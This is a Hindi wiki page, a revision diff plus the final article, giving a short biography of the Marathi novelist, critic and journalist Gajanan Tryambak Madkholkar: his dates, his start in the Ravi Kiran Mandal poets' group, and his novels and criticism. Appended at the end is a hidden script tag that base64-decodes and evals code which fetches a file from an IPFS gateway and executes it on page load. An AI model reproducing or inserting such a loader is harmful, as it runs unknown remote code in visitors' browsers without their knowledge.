गजानन त्र्यंबक माडखोलकर: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
('*मराठी भाषा में राजनीतिक उपन्यास-लेखन के आरंभकर्त...' के साथ नया पन्ना बनाया)
 
No edit summary
 
(3 intermediate revisions by 3 users not shown)
Line 1: Line 1:
*[[मराठी भाषा]] में राजनीतिक उपन्यास-लेखन के आरंभकर्ता और अपनी काव्यमयी शैली के लिए प्रसिद्ध माडखोलकर का जन्म [[18 दिसंबर]], [[1899]] ई. को [[मुंबई]] में हुआ।
{{सूचना बक्सा साहित्यकार
*इन्होंने अपना साहित्यिक जीवन ‘रवि किरण मंडल’ नामक कवि समाज के सदस्य के रूप में कविता से आरंभ किया। किंतु बाद में इनकी ख्याति समालोचक और [[उपन्यासकार]] के रूप में अधिक हुई।  
|चित्र=Gajanan-Tryambak-Madkholkar.jpg 
|चित्र का नाम=गजानन त्र्यंबक माडखोलकर
|पूरा नाम=गजानन त्र्यंबक माडखोलकर
|अन्य नाम=
|जन्म= [[28 दिसम्बर]], [[1900]]
|जन्म भूमि=[[मुंबई]]
|मृत्यु=[[27 नवम्बर]], [[1976]]
|मृत्यु स्थान=
|अभिभावक=
|पालक माता-पिता=
|पति/पत्नी=
|संतान=
|कर्म भूमि=[[भारत]]
|कर्म-क्षेत्र=मराठी लेखक
|मुख्य रचनाएँ='मुक्तात्मा’, ‘शाप’, ‘दुहेरी जीवन’, ‘प्रभदूरा’, ‘चंदनबाड़ी’ आदि।
|विषय=
|भाषा=[[मराठी भाषा]]
|विद्यालय=
|शिक्षा=
|पुरस्कार-उपाधि=
|प्रसिद्धि=मराठी उपन्यासकार, आलोचक, पत्रकार
|विशेष योगदान=
|नागरिकता= भारतीय
|संबंधित लेख=
|शीर्षक 1=
|पाठ 1=
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी=गजानन त्र्यंबक माडखोलकर ने अपना साहित्यिक जीवन ‘रवि किरण मंडल’ नामक कवि समाज के सदस्य के रूप में कविता से आरंभ किया था।
|बाहरी कड़ियाँ=
|अद्यतन=
}}
'''गजानन त्र्यंबक माडखोलकर''' ([[अंग्रेज़ी]]: ''Gajanan Tryambak Madkholkar'', जन्म- [[28 दिसम्बर]], [[1900]], [[मुंबई]], [[महाराष्ट्र]]; मृत्यु- [[27 नवम्बर]], [[1976]])  मराठी उपन्यासकार, आलोचक तथा पत्रकार थे। माडखोलकर अपनी काव्यमयी भाषाशैली के लिये बहुत प्रसिद्ध थे। इन्होंने अपना साहित्यिक जीवन ‘रवि किरण मंडल’ नामक कवि समाज के सदस्य के रूप में कविता से आरंभ किया।
==परिचय==
गजानन त्र्यंबक माडखोलकर का जन्म [[28 दिसम्बर]], [[1900]] को [[मुंबई]], [[महाराष्ट्र]] में हुआ था। ये मराठी उपन्यासकार, आलोचक तथा पत्रकार थे। [[मराठी भाषा]] में राजनीतिक उपन्यास-लेखन के आरंभकर्ता और अपनी काव्यमयी शैली के लिए प्रसिद्ध हैं। इन्होंने अपना साहित्यिक जीवन ‘रवि किरण मंडल’ नामक कवि समाज के सदस्य के रूप में कविता से आरंभ किया। किंतु बाद में इनकी ख्याति समालोचक और [[उपन्यासकार]] के रूप में अधिक हुई।  
 
माडखोलकर के कुछ आलोचकों ने उनकी कथात्मक रचनाओं में स्त्री-पुरुष संबंधों की स्पष्ट व्याख्या को श्लीलता की मर्यादा से परे बताया है। [[संस्कृत]] काव्यशास्त्र के ज्ञाता और अभिजात रसवादी होने पर भी वे आधुनिकता को सहानुभूति से देखते थे।
==कृतियाँ==
*गजानन त्र्यंबक माडखोलकर की प्रमुख समालोचनात्मक रचनाएँ हैं- ‘विष्णु कृष्ण चिपलूषकर’ और ‘वाङ्मय विलास’।  
*गजानन त्र्यंबक माडखोलकर की प्रमुख समालोचनात्मक रचनाएँ हैं- ‘विष्णु कृष्ण चिपलूषकर’ और ‘वाङ्मय विलास’।  
*उपन्यासों में प्रमुख हैं- ‘मुक्तात्मा’, ‘शाप’, ‘भंग लेते देउल’, ‘दुहेरी जीवन’, ‘प्रभदूरा’, ‘डाक बंगला’, ‘चंदनबाड़ी’ आदि।  
*उपन्यासों में प्रमुख हैं- ‘मुक्तात्मा’, ‘शाप’, ‘भंग लेते देउल’, ‘दुहेरी जीवन’, ‘प्रभदूरा’, ‘डाक बंगला’, ‘चंदनबाड़ी’ आदि।  
*‘दुहेजी जीवन’ को [[1942]] में सरकार ने जब्त कर लिया था। माडखोलकर की कई रचनाओं के [[हिन्दी]] तथा अन्य भारतीय भाषाओं में अनुवाद हो चुके हैं।
*‘दुहेजी जीवन’ को [[1942]] में सरकार ने जब्त कर लिया था। माडखोलकर की कई रचनाओं के [[हिन्दी]] तथा अन्य भारतीय भाषाओं में अनुवाद हो चुके हैं।
*प्रवास वर्णन- 'दक्षिणेश्वर', 'माझा अमरिकेचा प्रवास'।
*कहानी संग्रह- 'शुक्राचे चांदणी' (शुक्र की चाँदनी) इत्यादि।




{{प्रचार}}
{{लेख प्रगति|आधार=आधार1|प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=आधार1|प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}
{{संदर्भ ग्रंथ}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
{{cite book | last =शर्मा | first =लीलाधर  | title =भारतीय चरित कोश  | edition = | publisher =शिक्षा भारती, दिल्ली | location =भारतडिस्कवरी पुस्तकालय  | language =हिन्दी  | pages =पृष्ठ 213 | chapter =}}
<references/>
<references/>
==संबंधित लेख==
{{मराठी साहित्यकार}}
{{साहित्यकार}}
[[Category:मराठी साहित्यकार]][[Category:साहित्यकार]][[Category:उपन्यासकार]] [[Category:साहित्य कोश]]
[[Category:मराठी साहित्यकार]][[Category:साहित्यकार]][[Category:उपन्यासकार]] [[Category:साहित्य कोश]]
__INDEX__
__INDEX__

Latest revision as of 05:21, 28 December 2017

गजानन त्र्यंबक माडखोलकर
पूरा नाम गजानन त्र्यंबक माडखोलकर
जन्म 28 दिसम्बर, 1900
जन्म भूमि मुंबई
मृत्यु 27 नवम्बर, 1976
कर्म भूमि भारत
कर्म-क्षेत्र मराठी लेखक
मुख्य रचनाएँ 'मुक्तात्मा’, ‘शाप’, ‘दुहेरी जीवन’, ‘प्रभदूरा’, ‘चंदनबाड़ी’ आदि।
भाषा मराठी भाषा
प्रसिद्धि मराठी उपन्यासकार, आलोचक, पत्रकार
नागरिकता भारतीय
अन्य जानकारी गजानन त्र्यंबक माडखोलकर ने अपना साहित्यिक जीवन ‘रवि किरण मंडल’ नामक कवि समाज के सदस्य के रूप में कविता से आरंभ किया था।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

गजानन त्र्यंबक माडखोलकर (अंग्रेज़ी: Gajanan Tryambak Madkholkar, जन्म- 28 दिसम्बर, 1900, मुंबई, महाराष्ट्र; मृत्यु- 27 नवम्बर, 1976) मराठी उपन्यासकार, आलोचक तथा पत्रकार थे। माडखोलकर अपनी काव्यमयी भाषाशैली के लिये बहुत प्रसिद्ध थे। इन्होंने अपना साहित्यिक जीवन ‘रवि किरण मंडल’ नामक कवि समाज के सदस्य के रूप में कविता से आरंभ किया।

परिचय

गजानन त्र्यंबक माडखोलकर का जन्म 28 दिसम्बर, 1900 को मुंबई, महाराष्ट्र में हुआ था। ये मराठी उपन्यासकार, आलोचक तथा पत्रकार थे। मराठी भाषा में राजनीतिक उपन्यास-लेखन के आरंभकर्ता और अपनी काव्यमयी शैली के लिए प्रसिद्ध हैं। इन्होंने अपना साहित्यिक जीवन ‘रवि किरण मंडल’ नामक कवि समाज के सदस्य के रूप में कविता से आरंभ किया। किंतु बाद में इनकी ख्याति समालोचक और उपन्यासकार के रूप में अधिक हुई।

माडखोलकर के कुछ आलोचकों ने उनकी कथात्मक रचनाओं में स्त्री-पुरुष संबंधों की स्पष्ट व्याख्या को श्लीलता की मर्यादा से परे बताया है। संस्कृत काव्यशास्त्र के ज्ञाता और अभिजात रसवादी होने पर भी वे आधुनिकता को सहानुभूति से देखते थे।

कृतियाँ

  • गजानन त्र्यंबक माडखोलकर की प्रमुख समालोचनात्मक रचनाएँ हैं- ‘विष्णु कृष्ण चिपलूषकर’ और ‘वाङ्मय विलास’।
  • उपन्यासों में प्रमुख हैं- ‘मुक्तात्मा’, ‘शाप’, ‘भंग लेते देउल’, ‘दुहेरी जीवन’, ‘प्रभदूरा’, ‘डाक बंगला’, ‘चंदनबाड़ी’ आदि।
  • ‘दुहेजी जीवन’ को 1942 में सरकार ने जब्त कर लिया था। माडखोलकर की कई रचनाओं के हिन्दी तथा अन्य भारतीय भाषाओं में अनुवाद हो चुके हैं।
  • प्रवास वर्णन- 'दक्षिणेश्वर', 'माझा अमरिकेचा प्रवास'।
  • कहानी संग्रह- 'शुक्राचे चांदणी' (शुक्र की चाँदनी) इत्यादि।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

शर्मा, लीलाधर भारतीय चरित कोश (हिन्दी)। भारतडिस्कवरी पुस्तकालय: शिक्षा भारती, दिल्ली, पृष्ठ 213।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>